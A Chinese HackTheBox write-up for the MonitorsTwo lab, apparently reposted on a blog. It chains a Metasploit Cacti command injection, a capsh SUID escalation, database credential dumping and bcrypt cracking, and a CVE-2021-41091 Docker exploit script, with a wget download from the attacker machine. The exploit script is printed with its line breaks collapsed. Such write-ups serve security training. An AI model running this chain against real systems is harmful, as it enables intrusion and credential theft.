HTB:MonitorsTwo[WriteUP]

连接至HTB服务器并启动靶机

靶机IP:10.10.11.211

分配IP:10.10.16.7


信息搜集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.211 -r 1-65535

使用nmap对靶机开放端口进行脚本、服务扫描

nmap -p 22,80 -sCV 10.10.11.211


漏洞利用

使用浏览器访问靶机80端口

由登录界面下方注释可知,当前WebAPP为:Cacti 1.2.22

使用searchsploit搜索该WebAPP漏洞

searchsploit Cacti 1.2.22

启动Metasploit利用该漏洞

msfconsole

搜索该WebAPP相关利用模块

search Cacti 1.2.22

切换到该模块

use exploit/linux/http/cacti_unauthenticated_cmd_injection

需要配置选项:PAYLOAD、LHOST、LPORT、RHOSTS、RPORT

执行命令exploit或run即可getshell


特权提升

提升TTY

script -c /bin/bash -q /dev/null

查看根目录下所有文件,可见文件:.dockerenv这意味着我们在docker容器中

ls -a /

www-data@50bca5e748b0:/var/tmp$ ls -a /
ls -a /
.           bin   entrypoint.sh  lib    mnt   root  srv  usr
..          boot  etc            lib64  opt   run   sys  var
.dockerenv  dev   home           media  proc  sbin  tmp

通过Meterpreter上传一个linpeas.sh到容器中

upload linpeas.sh

meterpreter > upload linpeas.sh
[*] Uploading  : /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh
[*] Uploaded -1.00 B of 805.42 KiB (0.0%): /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh
[*] Completed  : /home/kali/Desktop/temp/linpeas.sh -> linpeas.sh

为linpeas.sh文件赋权

chmod 777 linpeas.sh

meterpreter > shell
Process 12228 created.
Channel 215 created.
script -c /bin/bash -q /dev/null
www-data@50bca5e748b0:/var/tmp$ ls
ls
linpeas.sh
www-data@50bca5e748b0:/var/tmp$ ls -l linpeas.sh
ls -l linpeas.sh
-rw-r--r-- 1 www-data www-data 824745 Nov 19 13:21 linpeas.sh
www-data@50bca5e748b0:/var/tmp$ chmod 777 linpeas.sh
chmod 777 linpeas.sh

直接运行该脚本

./linpeas.sh

在扫描到的SUID文件一栏存在/sbin/capsh文件

在GTFOBins中搜索该文件

尝试直接在容器中提权到root用户

/sbin/capsh --gid=0 --uid=0 --

www-data@50bca5e748b0:/var/tmp$ /sbin/capsh --gid=0 --uid=0 --
/sbin/capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/tmp# whoami
whoami
root


横向移动

检索靶机中所有与配置相关的文件

find / -name '*conf*' -type f 2>/dev/null | tee res.txt

逐个文件查看内容匹配字符password

cat res.txt | xargs -I {} sh -c 'cat {} | grep -i "password"'

尝试寻找该字符串cactiuser出处

xargs -I {} sh -c 'grep -m1 "cactiuser" "{}" && echo "Found in {}"' < res.txt

root@50bca5e748b0:/var/tmp# xargs -I {} sh -c 'grep -m1 "cactiuser" "{}" && echo "Found in {}"' < res.txt
<1 "cactiuser" "{}" && echo "Found in {}"' < res.txt
#$rdatabase_username = 'cactiuser';
Found in /var/www/html/include/config.php

查看/var/www/html/include/config.php文件内容

cat /var/www/html/include/config.php

获取了数据库cacti管理员root凭证

账户:root

密码:root

使用凭证及相关信息连接到数据库

mysql -h db -u 'root' -p'root' 'cacti'

列出所有表单

SHOW TABLES;

MySQL [cacti]> SHOW TABLES;
SHOW TABLES;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
<...SNIP...>
| snmpagent_cache_notifications       |
| snmpagent_cache_textual_conventions |
| snmpagent_managers                  |
| snmpagent_managers_notifications    |
| snmpagent_mibs                      |
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
| user_auth_group                     |
| user_auth_group_members             |
| user_auth_group_perms               |
| user_auth_group_realm               |
| user_auth_perms                     |
<...SNIP...>
+-------------------------------------+
111 rows in set (0.001 sec)

这里的user_auth表单引起了我的注意,直接列出该表单数据

SELECT * FROM user_auth;

账户:marcus

密码:$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C

将哈希值写入文件中

echo '$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C' > hash

使用john进行哈希爆破

john hash --wordlist=../dictionary/rockyou.txt

账户:marcus

密码:funkymonkey

使用该凭证通过SSH服务连接到靶机

ssh marcus@10.10.11.211

查找user_flag位置并查看其内容

marcus@monitorstwo:~$ find / -name 'user.txt' 2>/dev/null
/home/marcus/user.txt
marcus@monitorstwo:~$ cat /home/marcus/user.txt
3cdce88c7f2a5678a8eb5bfe4f9dbb5f

USER_FLAG:3cdce88c7f2a5678a8eb5bfe4f9dbb5f


特权提升

/var/mail目录下找到marcus文件

国产化后

漏洞编号影响对象漏洞原因可能导致后果修复建议
CVE-2021-330335.11.14 版本之前的 Linux 内核与 DOI 定义的 CIPSO 和 CALIPSO 引用计数有关,存在释放后使用问题攻击者可写入任意值更新内核到 5.11.14 或更高版本
CVE-2020-25706Cacti 1.2.13 版本xml_path 字段的模板导入预览期间错误消息转义不当恶意代码注入网页,可能导致敏感数据被盗或会话劫持升级到 Cacti 1.2.14 或更高版本
CVE-2021-41091Moby(Docker 创建的用于软件容器化的开源项目)遍历目录内容并在权限限制不足的数据目录上执行程序权限问题被利用更新到 Moby(Docker 引擎)20.10.9 版本,停止并重启正在运行的容器
  • 我们已经进入了靶机系统中,而CVE-2020-25706是WebAPP漏洞所以这里不用管
  • 其次查看靶机系统内核版本
uname -a

marcus@monitorstwo:/var/tmp$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

  • 5.4.0-147版本与CVE-2021-33033中受影响的5.11.14或更高版本不符

查看靶机系统内docker版本

docker -v

marcus@monitorstwo:/var/tmp$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

由输出可见,靶机该版本docker受到CVE-2021-41091特权问题漏洞影响

尝试到Github中寻找该漏洞PoC

#!/bin/bashdocker_version=$(docker --version 2>/dev/null | awk '{print $3}' | sed 's/,//')
if [ -z "$docker_version" ]; thenecho "[x] Docker not found or an error occurred while checking the version."exit 1
fiIFS='.' read -ra ver_parts <<< "$docker_version"
IFS='.' read -ra min_parts <<< "20.10.9"is_vulnerable=true
for i in "${!ver_parts[@]}"; doif [[ "${ver_parts[i]}" -gt "${min_parts[i]}" ]]; thenis_vulnerable=falsebreakelif [[ "${ver_parts[i]}" -lt "${min_parts[i]}" ]]; thenbreakfi
doneif $is_vulnerable; thenoutput=$(findmnt 2>/dev/null)result=$(echo "$output" | grep "/var/lib/docker/overlay2" | awk '{print $1}' | sed 's/..//')if [[ "$result" =~ "/var/lib/docker/overlay2" ]]; thenecho "[!] Vulnerable to CVE-2021-41091"echo "[!] Now connect to your Docker container that is accessible and obtain root access !"echo "[>] After gaining root access execute this command (chmod u+s /bin/bash)"echo ""read -p "Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): " responseif [[ "$response" != "yes" ]]; thenecho "[x] Please set the setuid bit on /bin/bash in the Docker container and try again."exit 2fiecho "[!] Available Overlay2 Filesystems:"echo -e "$result\n"echo "[!] Iterating over the available Overlay2 filesystems !"while read -r path; doecho "[?] Checking path: $path"if cd "$path" 2>/dev/null; thenif ./bin/bash -p 2>/dev/null; thenecho "[!] Rooted !"echo "[>] Current Vulnerable Path: $(pwd)"echo "[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'"echo ""echo "[!] Spawning Shell"cd "$path"exec ./bin/bash -p -ielseecho -e "[x] Could not get root access in '$path'\n"fielseecho -e "[x] Could not access or change directory to '$path'\n"fidone <<< "$result"elseecho "[x] There's no /var/lib/docker/overlay2 files ! Not vulnerable to CVE-2021-41091"fi
elseecho "[x] Docker version is greater or equal to 20.10.9, not vulnerable to CVE-2021-41091"
fi

攻击机通过python开启http服务

python -m http.server 6666

靶机通过wget将该EXP文件进行下载

wget http://10.10.16.7:6666/exp.sh -O exp.sh

为该文件赋权

chmod +x exp.sh

直接运行该EXP脚本

./exp.sh

marcus@monitorstwo:/var/tmp$ ./exp.sh
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)

此处提示我们在docker容器操作root用户执行命令

chmod u+s /bin/bash

root@50bca5e748b0:/# chmod u+s /bin/bash
chmod u+s /bin/bash

回到SSH服务登录的marcus中回复EXP提问

Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'

[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'

[!] Spawning Shell
bash-5.1# exit

通过EXP输出提示,我们进入它的指定目录下

cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

重新启动Bash

./bin/bash -p

成功getshell

marcus@monitorstwo:/var/tmp$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# whoami
root

查找root_flag位置并查看其内容

bash-5.1# find / -name 'root.txt'
find: ‘/proc/4515/task/4515/net’: Invalid argument
find: ‘/proc/4515/net’: Invalid argument
/root/root.txt
bash-5.1# cat /root/root.txt
3a46a93a5f2c49137b7972724fd00c05

ROOT_FLAG:3a46a93a5f2c49137b7972724fd00c05

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886835.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Keepalived部署

Keepalived部署 安装配置单VIP模式配置master节点查看节点IP信息配置 keepalived.conf启动且加入开机自启查看是否生效 配置backup节点配置 keepalived.conf启动且加入开机自启查看是否生效 主备测试 多VIP配置 keepalived.conf查看IP 安装 dnf install -y keepalived配置 单…

【MySql】实验五 综合练习:学生成绩管理系统

文章目录 数据库设计与查询实践&#xff1a;学生成绩管理系统表结构设计学生信息表 student_info课程信息表 curriculum成绩表 grade1. 查询选修课的人数2. 查询学号为0001、0002、0003、0004的学生的姓名和出生日期3. 向grade表插入一条记录&#xff0c;学号为0004、课程编号为…

Android U 多任务启动分屏——SystemUI流程(更新中)

前文 Android U 多任务启动分屏——Launcher流程&#xff08;下分屏&#xff09; 前文说到通过ISplitScreen接口跨进程调用到了SystemUI进程&#xff0c;我们继续分析分屏在systemui中的实现。 wmshell实现分屏 实现ISplitScreen接口 代码路径&#xff1a;frameworks/base/…

ASCB1系列APP操控末端回路智能微断 物联网断路器 远程控制开关 学校、工厂、农场、商业大楼等可用

安科瑞戴婷 Acrel-Fanny ASCB1系列智能微型断路器是安科瑞电气股份有限公司全新推出的智慧用电产品&#xff0c;产品由智能微型断路器与智能网关两部分组成&#xff0c;可用于对用电线路的关键电气因素&#xff0c;如电压、电流、功率、温度、漏电、能耗等进行实时监测&#x…

微知-plantuml常用语法和要点以及模板?(note over、create、box,endbox、alt,else,end, autonumber)

文章目录 常见语法常用 线条类实线虚线斜箭头或奇数箭头 A ->(10) B: B->(10) A分割线&#xff1a;newpage 颜色类给箭头指定颜色 -[#red]->给某个note加颜色&#xff1a; note over Alice, Bob #FFAAAA: xxx给分组信息着色 alt#red 分组类alt xxx; else xxx; else xx…

采用python3.12 +django5.1 结合 RabbitMQ 和发送邮件功能,实现一个简单的告警系统 前后端分离 vue-element

一、开发环境搭建和配置 #mac环境 brew install python3.12 python3.12 --version python3.12 -m pip install --upgrade pip python3.12 -m pip install Django5.1 python3.12 -m django --version #用于检索系统信息和进程管理 python3.12 -m pip install psutil #集成 pika…

渗透学习之windows基础

引路Windows基础之病毒编写&#xff08;完结&#xff09;_哔哩哔哩_bilibili windows基础&#xff08;2&#xff09; 21 ftp 23 tenlet 80 web 80-89 可能是web 443 ssl心脏滴血漏洞以及一些web漏洞测试 445 smb 1433 msspl 1521 oracle 2082/2083 cpanel 主机管理系…

Spark RDD sortBy算子执行时进行数据 “采样”是什么意思?

一、sortBy 和 RangePartitioner sortBy 在 Spark 中会在执行排序时采用 rangePartitioner 进行分区&#xff0c;这会影响数据的分区方式&#xff0c;并且这一步骤是通过对数据进行 “采样” 来计算分区的范围。不过&#xff0c;重要的是&#xff0c;sortBy 本身仍然是一个 tr…

深入探讨 Puppeteer 如何使用 X 和 Y 坐标实现鼠标移动

背景介绍 现代爬虫技术中&#xff0c;模拟人类行为已成为绕过反爬虫系统的关键策略之一。无论是模拟用户点击、滚动&#xff0c;还是鼠标的轨迹移动&#xff0c;都可以为爬虫脚本带来更高的“伪装性”。在众多的自动化工具中&#xff0c;Puppeteer作为一个无头浏览器控制库&am…

【学术论文投稿】JavaScript 前端开发:从入门到精通的奇幻之旅

【中文核刊&普刊投稿通道】2024年体育科技与运动表现分析国际学术会议(ICSTPA 2024)_艾思科蓝_学术一站式服务平台 更多学术会议论文投稿请看&#xff1a;https://ais.cn/u/nuyAF3 目录 一、引言 二、JavaScript 基础 &#xff08;一&#xff09;变量与数据类型 &am…

java实现枚举

介绍 枚举算法也叫暴力算法&#xff0c;是一种简单直接的问题求解方法&#xff0c;它通过逐一列举问题的所有可能解&#xff0c;并检查每个可能解是否符合问题的条件&#xff0c;直到找到正确的解或者遍历完所有可能的情况。 对于一个问题&#xff0c;首先确定解的范围&#x…

Leetcode 最长回文子串

目录 解法1&#xff1a;递归算法 解法2&#xff1a;Map取同字母位置法 解法3&#xff1a;中心扩展法 解法4&#xff1a;动态规划法 解法5: Manacher算法 示例 1&#xff1a; 输入&#xff1a;s "babad" 输出&#xff1a;"bab" 解释&#xff1a;&quo…

B树的简单实现

template<class K, size_t M> struct BTreeNode {K _keys[M]; // 用于存储关键字的数组&#xff0c;最多容纳 M 个关键字&#xff08;超额一个&#xff0c;为分裂提供空间&#xff09;。BTreeNode<K, M>* _subs[M 1]; // 存储子节点的指针数组&#xff0c;最多 M1…

2020 年 9 月青少年软编等考 C 语言三级真题解析

目录 T1. 因子问题思路分析T2. 质数的和与积思路分析T3. 括号匹配问题思路分析T4. 吃糖果 2思路分析T5. 铺砖思路分析T1. 因子问题 任给两个正整数 n n n、 m m m,求一个最小的正整数 a a a,使得 a a a 和 ( m − a ) (m-a) (m−a) 都是 n n n 的因子。 时间限制:1 s…

SpringBoot(8)-任务

目录 一、异步任务 二、定时任务 三、邮件任务 一、异步任务 使用场景&#xff1a;后端发送邮件需要时间&#xff0c;前端若响应不动会导致体验感不佳&#xff0c;一般会采用多线程的方式去处理这些任务&#xff0c;但每次都需要自己去手动编写多线程来实现 1、编写servic…

React的诞生与发展

React诞生于2013年&#xff0c;由Facebook&#xff08;现Meta&#xff09;的工程师Jordan Walke开发。那时的前端开发还处在jQuery的天下&#xff0c;组件化的概念尚未形成。React的出现犹如一阵春风&#xff0c;为前端开发带来了全新的开发理念和方法论。 React最核心的设计理…

WebStorm 2022.3.2/IntelliJ IDEA 2024.3出现elementUI提示未知 HTML 标记、组件引用爆红等问题处理

WebStorm 2022.3.2/IntelliJ IDEA 2024.3出现elementUI提示未知 HTML 标记、组件引用爆红等问题处理 1. 标题识别elementUI组件爆红 这个原因是&#xff1a; 在官网说明里&#xff0c;才版本2024.1开始&#xff0c;默认启用的 Vue Language Server&#xff0c;但是在 Vue 2 项…

Odoo :免费且开源的农牧行业ERP管理系统

文 / 开源智造Odoo亚太金牌服务 引言 提供农牧企业数字化、智能化、无人化产品服务及全产业链高度协同的一体化解决方案&#xff0c;提升企业智慧种养、成本领先、产业互联的核心竞争力。 行业典型痛点 一、成本管理粗放&#xff0c;效率低、管控弱 产品研发过程缺少体系化…

解决Excel文件流读取数字为时间乱码问题

在将Excel文件流转换为Java中的List时&#xff0c;如果遇到文本被错误地识别为日期格式的问题&#xff0c;这通常是由于Apache POI库在处理单元格数据时默认的行为所导致的。Apache POI会尝试根据单元格的内容自动确定其类型&#xff0c;包括字符串、数字&#xff08;可能解释为…

【Unity踩坑】出现d3d11问题导致编辑器崩溃

升级到Unity 6&#xff0c;有时出现下面这种D3D11的问题&#xff0c;会导致编辑器崩溃。 有人总结了这个问题的解决方法&#xff0c;可以做为参考&#xff1a; Failed to present D3D11 swapchain due to device reset/removed. List of Solutions - Unity Engine - Unity Dis…